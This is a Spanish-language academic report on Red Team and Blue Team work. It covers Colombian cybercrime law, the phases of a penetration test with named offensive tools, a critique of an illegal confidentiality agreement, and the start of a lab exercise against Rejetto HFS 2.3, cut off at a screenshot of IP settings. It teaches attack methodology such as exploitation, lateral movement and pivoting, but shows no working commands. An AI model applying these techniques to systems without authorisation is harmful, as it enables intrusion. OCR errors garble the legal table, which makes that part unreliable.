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Resumen

El presente informe analiza las capacidades técnicas, tacticas y operativas de los equipos Red
Team y Blue Team dentro de los procesos de seguridad informatica, integrando un estudio
practico basado en el escenario de laboratorio, inicialmente, se examina el marco legal
colombiano relacionado con la proteccion de datos personales y los delitos informaticos,
destacando las implicaciones juridicas de la normas como la Ley 1273 de 2009, la Ley 1581 de
2012 y la Ley 1712 de 2014, posteriormente, se describen de manera detallada las etapas del
pentesting, incorporando herramientas especializadas empleadas en cada fase, tales como Nmap,
Metasploit, OpenVAS y diversos recursos de andlisis OSINT, este documento también evalta la
validez ética y legal del acuerdo presentado, identificando clausulas que podrian constituir
encubrimiento de actividades ilicitas, vulneracion de deberes ciudadanos y transgresion directa
de la Ley 1273, con base en ello, se discute la responsabilidad profesional segtn el codigo ético
del COPNIA, desde el enfoque técnico, se desarrollan actividades de reconocimiento,
explotacion, post-explotacion y pivoting contra el Host-A y Host-B, demostrando el impacto de
vulnerabilidades criticas, particularmente la afectacion del servicio Rejetto HFS 2.3, ademas, se
analizan fallos que permitieron ejecucion remota, creacion de cuentas administrativas y
movimientos laterales dentro de la red, también se abordan lineamientos éticos, recomendaciones
de proteccion de la informacion sensible por parte de empresas de ciberseguridad, mecanismos
de supervision, respuesta institucional frente al ciberespionaje y medidas de hardening necesarias

para evitar la repeticion del ataque evidenciado en el laboratorio.
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Abstract

This report analyzes the technical, tactical, and operational capabilities of the Red Team and
Blue Team within cybersecurity processes, integrating a practical study based on a laboratory
scenario. Initially, the Colombian legal framework related to the protection of personal data and
cybercrimes is examined, highlighting the legal implications of regulations such as Law 1273 of
2009, Law 1581 of 2012, and Law 1712 of 2014. Subsequently, the stages of penetration testing
are described in detail, incorporating specialized tools used in each phase, such as Nmap,
Metasploit, OpenVAS, and various OSINT analysis resources. This document also evaluates the
ethical and legal validity of the presented agreement, identifying clauses that could constitute
concealment of illicit activities, violation of civic duties, and direct transgression of Law 1273.
Based on this, professional responsibility according to the COPNIA code of ethics is discussed.
From a technical perspective, reconnaissance and exploitation activities are developed. Post-
exploitation and pivoting against Host-A and Host-B, demonstrating the impact of critical
vulnerabilities, particularly the impact on the Rejetto HFS 2.3 service. In addition, flaws that
allowed remote execution, creation of administrative accounts, and lateral movement within the
network are analyzed. Ethical guidelines, recommendations for the protection of sensitive
information by cybersecurity companies, monitoring mechanisms, institutional response to cyber
espionage, and hardening measures necessary to prevent the repetition of the attack evidenced in

the laboratory are also addressed.

Keywords: cyber espionage, hardening, pentesting, pivoting, vulnerabilities.
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Glosario

Analisis forense digital:

Disciplina de la ciberseguridad orientada a la recoleccion, preservacion y analisis de evidencia
digital para investigar incidentes de seguridad o actividades delictivas en sistemas informaticos.
Blue Team:

Equipo responsable de la defensa de los sistemas de informacion de una organizacion, encargado
de la deteccion, monitoreo, respuesta y mitigacion de amenazas, asi como de la implementacion
de controles de seguridad.

Ciberseguridad:

Conjunto de practicas, procesos y tecnologias destinadas a proteger los sistemas de informacion
frente a amenazas, vulnerabilidades y ataques que puedan comprometer la confidencialidad,
integridad o disponibilidad de los datos.

Confidencialidad:

Principio de seguridad de la informacion que garantiza que los datos solo puedan ser accedidos
por personas, procesos o sistemas autorizados.

Delitos informaticos:

Actividades tipificadas en la legislacion penal que involucran el uso indebido de sistemas, redes
o informacion digital, incluyendo acceso no autorizado, interceptacion de datos, uso de software
malicioso y fraude electronico.

Explotacion:

Fase del pentesting en la que se aprovecha una vulnerabilidad previamente identificada para

obtener acceso, ejecutar codigo o manipular un sistema de manera controlada.
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Hardening:

Conjunto de técnicas y configuraciones destinadas a reforzar la seguridad de sistemas, redes o
aplicaciones mediante la reduccion de su superficie de ataque.

Movimiento lateral (Lateral Movement):

Técnica empleada por atacantes para desplazarse dentro de una red, utilizando un sistema
comprometido como punto intermedio para acceder a otros equipos.

Nmap (Network Mapper):

Herramienta de andlisis de red que permite identificar hosts, puertos abiertos, servicios y
posibles vulnerabilidades en un sistema.

Pentesting (Pruebas de penetracion):

Proceso controlado y autorizado que evalua la seguridad de un sistema mediante técnicas
similares a las utilizadas por atacantes, con el fin de identificar y corregir vulnerabilidades.
Pivoting:

Técnica mediante la cual un atacante utiliza un equipo previamente comprometido como puente
para acceder a otros sistemas que inicialmente no eran alcanzables desde el exterior.
Post-explotacion:

Fase del pentesting que comprende las acciones realizadas después de obtener acceso a un
sistema, como la elevacion de privilegios, recoleccion de informacion y mantenimiento del
control.

Red Team:

Equipo de ciberseguridad ofensiva encargado de simular ataques reales con el fin de evaluar la

eficacia de las defensas de la organizacion y medir su resiliencia.
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SIEM (Security Information and Event Management):

Solucién tecnoldgica que centraliza, analiza y correlaciona eventos de seguridad provenientes de
multiples fuentes para detectar amenazas y facilitar la respuesta a incidentes.

Vulnerabilidad:

Debilidad presente en un sistema, aplicacion o dispositivo que puede ser explotada por un

atacante para comprometer sus funciones o la informacion que gestiona.
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Introduccion

El crecimiento de las tecnologias de la informacion y la comunicacion ha transformado
profundamente la forma en que las organizaciones gestionan, procesan y protegen sus activos
digitales, en este contexto, la ciberseguridad se ha consolidado como un componente esencial
para garantizar la continuidad operativa, la integridad de la informacion y la resiliencia frente a
amenazas cada vez mas sofisticadas, en particular, las operaciones realizadas por equipos Red
Team y Blue Team constituyen un eje fundamental en la evaluacion y fortalecimiento de la
postura de seguridad de las instituciones, al permitir identificar vulnerabilidades, validar

controles defensivos y mejorar los procesos de respuesta ante incidentes.

El presente informe tiene como propdsito analizar las capacidades técnicas, tacticas y de
respuesta de estos equipos, integrando elementos tedricos, normativos y practicos, para ello, se
aborda inicialmente el marco legal colombiano aplicable a los delitos informaticos y la
proteccion de datos personales, con el fin de establecer las obligaciones, limitaciones y
responsabilidades que rigen la actuacion profesional en el campo de la seguridad informatica, asi
mismo, se desarrolla un estudio detallado de las etapas del pentesting, destacando las

herramientas utilizadas en cada fase y su aplicabilidad en entornos controlados.

De manera complementaria, se examina un caso practico, donde se ejecutan pruebas ofensivas
que incluyen reconocimiento, explotacion de vulnerabilidades, escalamiento de privilegios y
pivoting dentro de una infraestructura simulada, este analisis permite comprender el impacto real
de las fallas de seguridad y la importancia del disefio de mecanismos de hardening y monitoreo

continuo.
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Justificacion

La creciente dependencia de las organizaciones hacia infraestructuras digitales ha
incrementado significativamente los riesgos asociados a amenazas informaticas, lo que exige la
implementacion de estrategias avanzadas de proteccion, deteccion y respuesta, en este contexto,
el estudio de las operaciones Red Team y Blue Team se convierte en una necesidad académica y
profesional, dado que estos enfoques permiten evaluar de manera integral la seguridad de los
sistemas, identificar vulnerabilidades criticas y fortalecer los mecanismos defensivos de forma
proactiva, analizar las dinamicas entre ambos equipos no solo posibilita comprender como
actiian los adversarios en un entorno real, sino también como deben prepararse las
organizaciones para anticipar, contener y mitigar ataques.

La elaboracion de este informe responde a la importancia de integrar conocimientos
tedricos, normativos y practicos en el campo de la ciberseguridad, la normativa colombiana en
materia de delitos informadticos y proteccion de datos personales establece obligaciones estrictas
tanto para ciudadanos como para profesionales del sector, por lo que resulta indispensable
comprender el alcance juridico de las actividades relacionadas con pruebas de penetracion y
auditorias de seguridad. (Alvarez Intriago, 2025)

El desarrollo practico basado en la ejecucion de pruebas de reconocimiento, explotacion,
post-explotacion y pivoting en un entorno controlado, proporciona evidencia del impacto real
que pueden generar las vulnerabilidades no mitigadas dentro de una red corporativa, este tipo de
ejercicios fortalecen el aprendizaje aplicado y contribuyen a la formacion de especialistas
capaces de responder eficazmente ante incidentes de seguridad, asi como de disefiar estrategias

de hardening que disminuyan la superficie de ataque.
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Objetivos

Objetivo General

Examinar las capacidades técnicas, tacticas y operativas de los equipos Red Team y Blue
Team, mediante la integracion de fundamentos tedricos, normativos y practicos, con el fin de
evaluar la postura de seguridad de una infraestructura tecnolégica.

Objetivos Especificos

Revisar marcos conceptuales, normativos y metodologicos aplicables a la ciberseguridad
en el contexto colombiano.

Identificar y evaluar las vulnerabilidades presentes en una infraestructura tecnologica
simulada, a través de la ejecucion controlada de pruebas de penetracion, con el fin de evidenciar
el impacto de dichas fallas en la seguridad de la informacion.

Proponer medidas de hardening y estrategias de mejora orientadas al fortalecimiento de
los mecanismos de prevencion, deteccion y respuesta ante incidentes, fundamentadas en los

resultados del analisis técnico y en las buenas practicas de seguridad informatica.
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Desarrollo del Informe

Fundamentos de Operaciones Red Team y Blue Team

Legislacion que existe actualmente dentro del margen legal en Colombia sobre delitos

informdticos y proteccion de datos personales con sus caracteristicas principales.

Existen varias leyes y regulaciones que abordan temas relacionados con delitos
informaticos y proteccion de datos personales en Colombia, como la Ley 1581 de 2012 que habla
sobre proteccion de datos personales.

Caracteristicas principales:

v" Crea un nuevo titulo en el Codigo Penal dedicado a los delitos informaticos que
tipifica conductas como: acceso abusivo a un sistema informatico, interceptacion de datos
informaticos, dafio o alteracion de datos o sistemas informaticos, uso de software malicioso
(malware), violacion de datos personales y hurto por medios informaticos o electronicos.

v" Establece penas privativas de la libertad y multas para quienes cometan estos
delitos.

v" Protege la integridad, confidencialidad y disponibilidad de los datos y sistemas
informaticos.

v" Busca fortalecer la seguridad digital y la confianza en el uso de las TIC en
Colombia.

Ley 1712 de 2014 trata sobre transparencia en el acceso a la informacion publica.

Caracteristicas principales:



19

v Reconocimiento del derecho fundamental al acceso a la informacion publica, toda
persona puede solicitar y recibir informacion de entidades publicas sin necesidad de justificar
su solicitud.

v' Clasificacion de la informacion: informacion publica, Informacion reservada e
Informacion clasificada.

v’ Proteccion de datos personales estableciendo que la informacion publica debe
manejarse respetando la Ley 1581 de 2012, garantizando la confidencialidad de los datos
personales.

v Promueve el uso de plataformas digitales y tecnologias de la informacion para
facilitar el acceso ciudadano a los datos del Estado.

v Encargada de promover la transparencia y apoyar a las entidades en el
cumplimiento de la ley.

Ley 1273 de 2009 obligo a las entidades estatales a adoptar medidas para proteger la
informacion y sistemas criticos, lo que llevo a que organismos como el MinTIC a desarrollar una
politica nacional de seguridad digital.

Caracteristicas principales:

v Crea un nuevo bien juridico protegido la ley reconoce como bien juridico la
proteccion de la informacion y de los datos, lo que significa que el Estado protege tanto los
sistemas informaticos como la informacion que contienen.

v También se imponen multas econdmicas y agravantes si el delito se comete contra
entidades publicas, financieras o en perjuicio de menores.

v" Protege la confidencialidad, integridad y disponibilidad de los datos la ley busca
asegurar que la informacion digital sea confiable, accesible solo a personas autorizadas y no

pueda ser alterada sin permiso.
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v' Incluye el delito de violacion de datos personales, que castiga a quien sin
autorizacion obtenga, modifique o difunda informacion personal contenida en bases de datos.
v Su objetivo es fortalecer la seguridad en el uso de las tecnologias de la
informacion y fomentar la confianza en las transacciones electronicas.
Se articula con la Ley 1581 de 2012 (proteccion de datos personales) y el Decreto 2364
de 2012 (firma digital y autenticacion), fortaleciendo la seguridad juridica en el entorno digital.

(Guarnizo Portela, 2024)

Tabla 1

Sintesis de la legislacion colombiana

Norma | Aiio Objeto de la ley Caracteristicas principales
Pr?izg(iea}[z;ifé)r;fﬁfr? y Incorpora al Cédigo Penal los delitos de acceso abusivo a
Le ridico auténomo sistemas informaticos, interceptacion de datos, dafio
127); 2009 J tivifica los delitosy informatico, uso de software malicioso y violacion de datos
iII)l formaticos en personales. Establece sanciones penales y agravantes cuando
Colombia se afectan entidades publicas o sistemas criticos.
Establece el régimen Define principios para el tratamiento de datos personales
Ley 2012 eneral de prote fcién de como legalidad, finalidad, libertad y seguridad. Reconoce
1581 & datos Srsonales derechos de los titulares y obligaciones de los responsables y
P ) encargados del tratamiento de la informacion.
Decreto Reslamenta parcialmente Establece mecanismos para la autorizacion del tratamiento de
1377 2013 1§ Lev | 58% de 2012 datos personales, politicas de privacidad y deberes de los
Y ' responsables del manejo de la informacion.
Garantiza el derecho Define la clasificacion de la informacién en publica,
Ley 2014 | fundamental de acceso a reservada y clasificada. Promueve la transparencia estatal y
1712 la informacion piblica exige el manejo responsable de los datos personales
P ) conforme a la Ley 1581.
Le Reoula el procedimiento Establece el deber legal de denunciar delitos (articulo 67),
902 2004 genal cl(p)lombiano aplicable a casos de delitos informaticos y actividades ilicitas
P ) conocidas en el ejercicio profesional.
Regula el gjercicio de la | Define principios éticos y prohibiciones para los ingenieros,
Ley 2003 ingenieria y el cédigo de incluyendo la obligacion de actuar conforme a la ley y
842 ética profesional proteger el interés publico, aplicable a profesionales de
(COPNIA). ciberseguridad. (Lleras, 2025)

Nota. Resumen de las caracteristicas principales con mis propias palabras de la legislacion

colombiana en el marco de delitos informaticos y proteccion de datos.
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Etapas del proceso de pruebas de penetracion (Pentesting) con ejemplos de cada las

herramientas.

v Primer paso es planificacion y alcance

Acordar con el cliente los objetivos y reglas de enfrentamiento Rules of Engagement
(ROE), alcance como IP, aplicaciones, ventanas de prueba, permisos legales, restricciones y
criterios de éxito que incluye firma de contrato y definicién de entregables, acuerdos de
confidencialidad y cronograma.

Ejemplo de una herramienta:

Jira y/o Trello es utilizada para gestionar tareas, hitos, autorizaciones y el seguimiento del
trabajo durante la prueba; también se usan plantillas o frameworks como PTES u OSSTMM para
guiar el proceso.

v Segundo paso reconocimiento pasivo y activo

Recopilar informacion sobre el objetivo sin (pasivo) o con (activo) interaccion directa, el
objetivo es mapear superficie de ataque como dominios, correos, subdominios, empleados,
tecnologia expuesta, mediante actividades de OSINT, busquedas en DNS/WHOIS, redes
sociales, certificados, motores de busqueda.

Ejemplo de herramienta:

TheHarvester es utilizada para automatizar la recoleccion de correos, subdominios y
hosts desde fuentes publicas como Google, Shodan, LinkedIn entre otros.

v Tercer paso escaneo y enumeracion

Identificar puertos abiertos, servicios y versiones ejecutdndose en los sistemas

detectados; enumerar recursos shares, usuarios, endpoints y aqui se transforma la informacion en
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blancos concretos, mediante actividades de escaneo de puertos, fingerprinting de servicios,
enumeracion de directorios, listados de usuarios.

Ejemplo de herramienta:

Nmap es utilizada para el escaneo de puertos y deteccion de servicios OS; es la
herramienta base para saber qué atacar o analizar mas a fondo.

v Cuarto paso analisis de vulnerabilidades

Cruzar resultados de escaneo con firmas y bases de datos para priorizar vulnerabilidades
reales frente a falsos positivos, evaluando impacto y probabilidad mediante actividades de
escaneo con scanners, correlacion de hallazgos, priorizacion segun riesgo.

Ejemplo de herramienta:

Nessus 0 OpenVAS es utilizado como scanners que identifican vulnerabilidades
conocidas y generan informes que sirven para priorizar pruebas manuales.

v Quinto paso pruebas manuales y explotacion controlada

Intentar de forma controlada explotar vulnerabilidades priorizadas para demostrar
impacto real como por ejemplo acceso a una cuenta, ejecucion remota, filtrado de datos siempre
dentro del alcance autorizado mediante actividades como pruebas manuales, uso de exploits
comprobados en entornos autorizados, verificacion de impacto.

Ejemplo de herramienta:

Metasploit Framework permite probar exploits de forma controlada y lanzar payloads en
entornos de prueba; util para validar que una vulnerabilidad es explotable.

v Sexto paso post-explotacion o exfiltracion simulada

Una vez que se logra acceso, se evalua la extension del compromiso, qué datos y/o

privilegios se pueden alcanzar, posibilidad de moverse lateralmente o mantener el acceso,
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verificando impacto y rutas de ataque mediante actividades de recopilacion de credenciales,
escaneo interno desde la maquina comprometida, pruebas de persistencia simulada.

Ejemplo de herramienta:

Meterpreter es un componente de Metasploit es utilizado como un shell avanzado para
interactuar con una maquina comprometida y realizar tareas de post-explotacion en pruebas
autorizadas.

v Séptimo paso escalamiento de privilegios

Emplea técnicas para elevar privilegios desde una cuenta limitada hasta
administrador/root para demostrar el alcance del compromiso, se documentan los vectores que
permiten la elevacion mediante actividades de busqueda de configuraciones débiles, servicios
mal configurados, credenciales en claro, exploits locales.

Ejemplo de herramienta:

LinPEAS y/o WinPEAS es utilizado con scripts de enumeracion que ayudan a identificar
vectores comunes de escalamiento en Linux/Windows; usados para encontrar rutas posibles sin
automatizar explotacion peligrosa.

v Octavo paso movimiento lateral y/o pivoting

Desde una maquina comprometida, intentar acceder a otros sistemas de la red para
demostrar como un atacante podria expandir su control, mediante actividades de uso de
credenciales obtenidas, creacion de tuneles, proxies para alcanzar segmentacion interna.

Ejemplo de herramienta:

ProxyChains, SSHuttle o configuracién de un proxy SOCKS via Meterpreter es utilizado
para permitir redirigir trafico y evaluar conectividad interna.

v Noveno paso remediation temporal y restauracion
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Antes de terminar de eliminar cualquier artefacto creado por el equipo de pentest como
backdoors de prueba, cuentas de prueba, ficheros subidos, dejar el entorno en su estado original
mediante actividades de revocar accesos provisionales, eliminar payloads, cerrar sesiones sin
dejar evidencia para el cliente. (PandaSecurity, 2018)

Ejemplo de herramienta:

Con procedimientos internos, checklists y scripts de limpieza; no es tanto una
herramienta inica sino un proceso con control de cambios.

v Decimo paso reporte técnico y ejecutivo

Documentar todo lo encontrado, evidencia, impacto, pasos reproducibles, evaluando el
riesgo y recomendaciones concretas de mitigacion y prioridades, mediante la entrega de un
reporte ejecutivo para la alta direccidon y uno técnico para el area de TI.

Ejemplo de herramienta:

Dradis y/o Serpico son plataformas para recopilar hallazgos, generar plantillas de reporte
y exportar informes claros y consistentes.

v Onceavo paso verificacion de mitigaciones

Una vez que el cliente implementa mitigaciones, se revalida que las vulnerabilidades
hayan sido corregidas efectivamente, mediante actividades de ejecutar pruebas puntuales sobre
los hallazgos corregidos, confirmar cierre y actualizar el reporte final.

Ejemplo de herramienta:

El mismo scanner o pruebas manuales usadas inicialmente, también con herramientas

como Nessus, Nmap, Burp, Kali segin corresponda.
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Definiciones de herramientas de ciberseguridad existentes y/o software especializado.

Metasploit: es un framework que compone un conjunto de herramientas y librerias de codigo
abierto disefiado para desarrollar, probar y ejecutar exploits contra sistemas vulnerables, es
ampliamente usado en seguridad informatica para pruebas de penetracion o pentesting,
investigacion de vulnerabilidades y formacion tanto por profesionales de la ciberseguridad como

adversarios. (Palomo Luna, 2024)

Metasploit facilita el proceso de convertir una vulnerabilidad en una prueba practica que
permite seleccionar un exploit es decir un codigo que aprovecha la vulnerabilidad, combinarlo
con un payload es decir el codigo que se ejecuta en la maquina objetivo y posteriormente realizar
sesiones de post-explotacion.

Dentro de sus componentes principales esta el médulo exploit que aprovecha una
vulnerabilidad especifica, el cddigo que una payload que se entrega y ejecuta en el objetivo tras
el exploit, los mudulos auxiliares como escéaneres, fuzzers, sniffers, bruteforce, los post-modules
que recopilan credenciales, escalada de privilegios, persistencia, recoleccion de informacion que
ayudan a ofuscar payloads para evadir firmas o adaptarse a restricciones.

v Nmap: conocida en inglés como Network Mapper, es una herramienta open-
source para el descubrimiento y el andlisis de redes, se usa para identificar hosts activos,
servicios puertos abiertos y aplicaciones, en los sistemas operativos, versiones de software y
caracteristicas de seguridad en una red, es una herramienta fundamental para los administradores
de red.

De los componentes principales esta nmap que es el binario principal para escaneos

desde la linea de comandos, NSE - Nmap Scripting Engine que es un motor de scripts en
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programacion Lua para tareas automatizadas y permite deteccion de vulnerabilidades, fuerza
bruta y recopilacion de informacion extra.

Asi mismo cuenta con ncat que es una utilidad incluida para conexiones de protocolo
TCP/UDP, ndiff: que su funcion es comparar los resultados de escaneos, Zenmap que permite
visualizar y guardar resultados.

v OpenVas en inglés Open Vulnerability Assessment System y es una herramienta
de codigo abierto usada para realizar escaneos de vulnerabilidades en equipos, servidores y
redes, su funcion principal es detectar fallos de seguridad conocidos, clasificarlos segun su nivel
de riesgo y recomendar como solucionarlos.

Esta solucion permite analizar sistemas en busca de vulnerabilidades conocidas CVE,
detecta configuraciones inseguras, puertos abiertos y servicios vulnerables, genera informes
detallados con nivel de riesgo CVSS, ayudando a organizaciones a prevenir ataques antes de que
ocurran.

Entre algunas desventajas estdn que puede generar falsos positivos, requiere buena
configuracion inicial como ajustes, politicas y actualizaciones, realiza escaneos fuertes que
pueden afectar servidores o redes en produccion y es mas lento que herramientas como Nmap o
Masscan porque cuenta con un analisis mas profundo.

Servicios en linea:

v ExploitDB: en ingles Exploit Database, es una base de datos publica y gratuita
que recopila exploits, vulnerabilidades, pruebas de concepto PoC y herramientas relacionadas
con la seguridad informatica, es mantenida por Offensive Security.

ExploitDB se usa para buscar exploits publicos para vulnerabilidades conocidas CVE,

analiza como funciona un exploit, con fines educativos o para pruebas de seguridad, realiza
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pentesting legal en entornos controlados, verifica si un sistema es vulnerable a exploits existentes
y esta actualizada en vulnerabilidades reales y técnicas de explotacion recientes.

Estas son algunas ventajas es gratuita y de acceso publico viene actualizada con miles de
vulnerabilidades y PoC reales, es ttil para aprendizaje, auditoria, defensa y actualmente es
compatible con herramientas como Searchsploit en modo offline

v CVE: significa Common Vulnerabilities and Exposures lo que traduce
Vulnerabilidades y Exposiciones Comunes, es un sistema que asigna un identificador unico a
cada vulnerabilidad de software o hardware conocida publicamente.

El objetivo del sistema CVE es crear un estaindar mundial para identificar
vulnerabilidades, asi mismo permitir que empresas, investigadores y fabricantes hablen el mismo
lenguaje, por ende, facilitar el seguimiento, parcheo y comunicacion de fallos de seguridad; sin
esta organizacion de las CVE cada empresa podria nombrar una vulnerabilidad diferente de
forma distinta, causando confusiones. (Easttom, 2018)

Proceso resumido para reportar de un CVE, inicialmente el investigador descubre una
vulnerabilidad, este la reporta a MITRE o a un CNA que es una autoridad que puede generar
CVEs, como Microsoft, Google, entre otros, posteriormente se valida y se asigna un ID CVE

oficial y luego se publica para que los fabricantes apliquen parches y los usuarios se protejan.

Fragmentos ilegales en el “acuerdo de confidencialidad”, evidenciando procesos ilegales y no

éticos.

1) Fragmento del texto del acuerdo de confidencialidad:

“..la parte receptora, se obliga a no divulgar... la informacion confidencial o sobre

procesos ilegales dentro de SecureNova Labs no podran ser divulgados.”
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a. Esta clausula intenta impedir que la parte receptora denuncie actos ilegales, lo
cual viola el deber legal ciudadano de denunciar delitos segun lo estipulado en el articulo 67
del Codigo de Procedimiento Penal ley 906 de 2004 en Colombia.

b. También compromete al firmante a encubrir actividades ilicitas, lo cual podria ser
considerado como favorecimiento o encubrimiento, delito tipificado en el Codigo Penal
colombiano.

2) Fragmento del texto del acuerdo de confidencialidad:

Se consideran datos confidenciales: “...datos secretos como ‘datos de chuzadas,
interceptacion de informacion, accesos abusivos a sistemas informdticos’.”
a. Guardar silencio frente a este tipo de informacion constituye una complicidad
pasiva o encubrimiento de un delito tipificado en la legislacion colombiana.
b. Asi mismo normaliza es decir presenta algo ilegal como si fuera algo comun,
aceptable o permitido y protege informacidn ilicita que proviene de delitos informaticos
tipificados en la Ley 1273 de 2009 en Colombia. (Andrade, 2025)

3) Fragmento del texto del acuerdo de confidencialidad:

“No denunciar ante las autoridades actividades sospechosas de espionaje o cualquier
otro proceso...”
a. Esto va directamente en contra del deber legal de denunciar delitos del Art. 67 del

Codigo de Procedimiento Penal.

4) Fragmento del texto del acuerdo de confidencialidad:
“Abstenerse de denunciar y publicar la informacion confidencial e ilegal que conozca...”.
a. Esta cldusula no es valida juridicamente, ya que ninglin acuerdo u otro documento
privado o publico de ser el caso, no puede estar por encima de la ley penal, ni coartar los

derechos ciudadanos.
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5) Fragmento del texto del acuerdo de confidencialidad:

“...en caso que la informacion ilegal... sea encontrada en manos del receptor éste debera
acudir a un abogado privado y dejar exenta de cualquier responsabilidad legal y penal a
SecureNova Labs.”
a. Este fragmento intenta trasladar toda responsabilidad penal la parte receptora y
proteger a la empresa, lo cual es un acto abusivo, desproporcionado e invalido juridicamente.
b. En Colombia, la responsabilidad penal es personal e intransferible, por lo que esta

clausula carece de validez.

Articulos de la ley 1273 que vulneran el “acuerdo de confidencialidad”.

Articulo 269A acceso abusivo a un sistema informatico: este articulo sanciona el ingreso
no autorizado a sistemas informaticos y el acuerdo no rechaza esta conducta, sino que la acepta
como informacidn protegida y obliga a no denunciarla, lo cual implica encubrimiento del delito.

Articulo 269C interceptacion de datos informaticos: la interceptacion de informacion
privada sin autorizacion es un delito informatico ya que el acuerdo obliga a la parte receptora a
guardar silencio sobre esta practica, en lugar de denunciarla ante autoridades.

Articulo 269E uso de software malicioso o con fines ilicitos: muchas précticas de
espionaje informatico implican software o herramientas para intrusion y obligar a la parte
receptora a no denunciar espionaje informatico implica permitir una actividad sancionada por
esta ley.

Articulo 269F violacion de datos personales: si la empresa accede o divulga datos
personales sin autorizacidn, estd violando este articulo y el acuerdo exige al firmante guardar

silencio, promoviendo indirectamente esta conducta ilegal.
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Justificacion de la propuesta laboral en SecureNova Labs, teniendo en cuenta el codigo de

ética para ingenieros.

Aunque la oferta salarial y contractual es buena, el acuerdo contiene clausulas que
obligan a guardar silencio frente a actos ilegales como interceptacion de comunicaciones,
accesos abusivos y espionaje informatico, aceptar dichas condiciones vulneraria principios
establecidos en el codigo de ética del COPNIA en su articulo Art 32 “prohibiciones generales a
los profesionales”; que exigen actuar conforme a la ley, proteger a la sociedad, no participar ni
encubrir actos ilicitos y mantener la dignidad e integridad de la profesion; por ello, como
profesional en ciberseguridad, solo consideraria vincularme si la empresa se modifica el acuerdo
de confidencialidad, eliminando cualquier apartado que contravenga la Constitucion Politica de
Colombia de 1991, la Ley 1273 de 2009 y los principios éticos de la ingenieria enmarcados por

COPNIA.

Garantias de acceso a la informacion sensible de sus clientes durante una auditoria de

seguridad.

En el ambito de la ciberseguridad, las auditorias de seguridad son procesos esenciales
para evaluar la fortaleza de las defensas tecnoldgicas de una organizacion y detectar posibles
vulnerabilidades que puedan ser explotadas por atacantes, sin embargo, durante estas auditorias,
las empresas de ciberseguridad acceden a informacion sensible de sus clientes, lo cual plantea
importantes desafios éticos, legales y técnicos. Por ello, es fundamental establecer limites claros
sobre el alcance de dicho acceso y garantizar que el manejo de la informacion se realice de forma

segura y responsable.
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El acceso a informacion sensible debe estar determinado por el principio de necesidad y
proporcionalidad, es decir, las empresas auditoras solo deben acceder a los datos estrictamente
necesarios para cumplir los objetivos de la auditoria, en ningtn caso el proceso debe permitir el
acceso indiscriminado o total a los sistemas de informacion del cliente, ya que esto podria
vulnerar su privacidad, la confidencialidad de los datos y la confianza depositada en el auditor,
este principio se encuentra alineado con estandares internacionales como la ISO/IEC 27001, que
establece directrices para la gestion segura de la informacion y la proteccion de los activos

digitales dentro de un marco de control. (MINTIC, 2022)
Mecanismos de supervision y control con herramientas avanzadas de andlisis forense.

En el contexto actual de la ciberseguridad, las herramientas avanzadas de andlisis forense
digital se han convertido en instrumentos fundamentales para la investigacion de incidentes, la
recoleccion de evidencias electronicas y la identificacion de vulnerabilidades en los sistemas de
informacion, no obstante, el poder técnico de estas herramientas también implica un alto nivel de
riesgo, ya que pueden ser utilizadas con fines no autorizados o éticamente cuestionables, como la
intrusion en sistemas ajenos, la manipulacion de datos o la violacion de la privacidad, por esta
razon, resulta indispensable que las empresas de ciberseguridad implementen mecanismos de
supervision y control que aseguren su uso responsable, ético y legal. (Luttgens, 2014)

Se debe establecer una politica interna de uso aceptable de herramientas forenses, que
defina claramente los limites de su utilizacion, los escenarios autorizados y las sanciones
aplicables en caso de uso indebido, esta politica debe estar alineada con la legislacion vigente,
como la Ley 1273 de 2009, que tipifica los delitos informaticos en Colombia y sanciona el
acceso no autorizado, la interceptacion de datos o la alteracion de informacion, ademas, debe

incluir los principios éticos contenidos en el Codigo de Etica del COPNIA Ley 842 de 2003, que
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obliga a los ingenieros y profesionales del sector tecnoldgico a ejercer su labor con

responsabilidad, integridad y respeto por los derechos de terceros. (Vargas Lleras, 2025).

Medidas adecuadas para restaurar la confianza, cuando una empresa de ciberseguridad

contratada ha cometido actos de ciberespionaje.

Cuando un gobierno u organizacioén descubre que una empresa de ciberseguridad
contratada ha participado en actos de ciberespionaje, la respuesta debe ser inmediata,
transparente y ajustada al marco legal; en primer lugar, las autoridades competentes deben iniciar
investigaciones judiciales y administrativas para determinar la responsabilidad penal y
contractual de la empresa implicada.

Paralelamente, se debe suspender o rescindir el contrato con la compaiiia involucrada,
protegiendo los activos de informacion y evitando cualquier posibilidad de manipulacién o
destruccion de evidencia, las organizaciones afectadas deben implementar medidas de
contencidn y andlisis forense para evaluar el alcance del dafo y garantizar la preservacion de
pruebas que permitan sustentar acciones legales.

Para restaurar la confianza, los gobiernos y empresas deben comunicar los hechos de
forma responsable, adoptar politicas de transparencia y fortalecer los mecanismos de supervision
de proveedores de ciberseguridad, asi mismo, es esencial establecer procesos de certificacion y
auditorias independientes que evaluen la idoneidad ética y técnica de los contratistas antes de su
vinculacion.

Finalmente, se deben reforzar las normas de gobernanza y cumplimiento, promoviendo
una cultura basada en la ética, la responsabilidad profesional y la proteccion de los derechos

digitales, la adopcion de estandares internacionales como la ISO/IEC 27001 y la exigencia de
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cddigos de conducta que contribuyan a prevenir la reincidencia y a fortalecer la confianza en el
ecosistema de la ciberseguridad.
Herramientas software que se empleo, comandos utilizados y resultados segun los pasos de un

pentesting.

Las pruebas de penetracion, conocidas como pentesting, constituyen una actividad
fundamental dentro de la ciberseguridad ofensiva y la auditoria técnica, su propdsito es
identificar vulnerabilidades en los sistemas, redes o aplicaciones, mediante un entorno
controlado, este tipo de evaluacion permite a las organizaciones mejorar sus controles de
seguridad, reducir superficies de ataque y fortalecer sus capacidades defensivas.

e Reconocimiento: el reconocimiento corresponde a la fase preliminar donde se
recopila informacion del objetivo sin interaccion invasiva, el proposito es comprender el
contexto tecnologico y operativo del entorno a evaluar, en esta etapa se puede estudiar

dominios internos y la topologia.

Figura 1

Topologia de red

9 Wondershare
EdrawMax

Linux - Parrot / Kali Linux

Nota. Captura de pantalla de la topologia propuesta en el anexo 4 escenario 3



Figura 2

Configuracion Ip de Parrot

o000 Parrot Terminal
File Edit View Search Terminal Help

ult glen

Nota. Captura de pantalla de la configuracion Ip y del segmento de red en Parrot.

Figura 3

Configuracion Ip de Windows 7 Host A

Bl Administrador: C\Windows\system32\cmd.exe EI@

Tiempos aproximados de ida v vuelta en milisegundos:
P Pt .
Minimo = Bms. Maximo = 2Zms,. Media = Bns

C:~Usersusuario>ipconfig

Conf iguracidn IP de Windows

Adaptador de Ethernet Conexidn de area local 2:

Sufijo DMS especifico para la conexidn. .

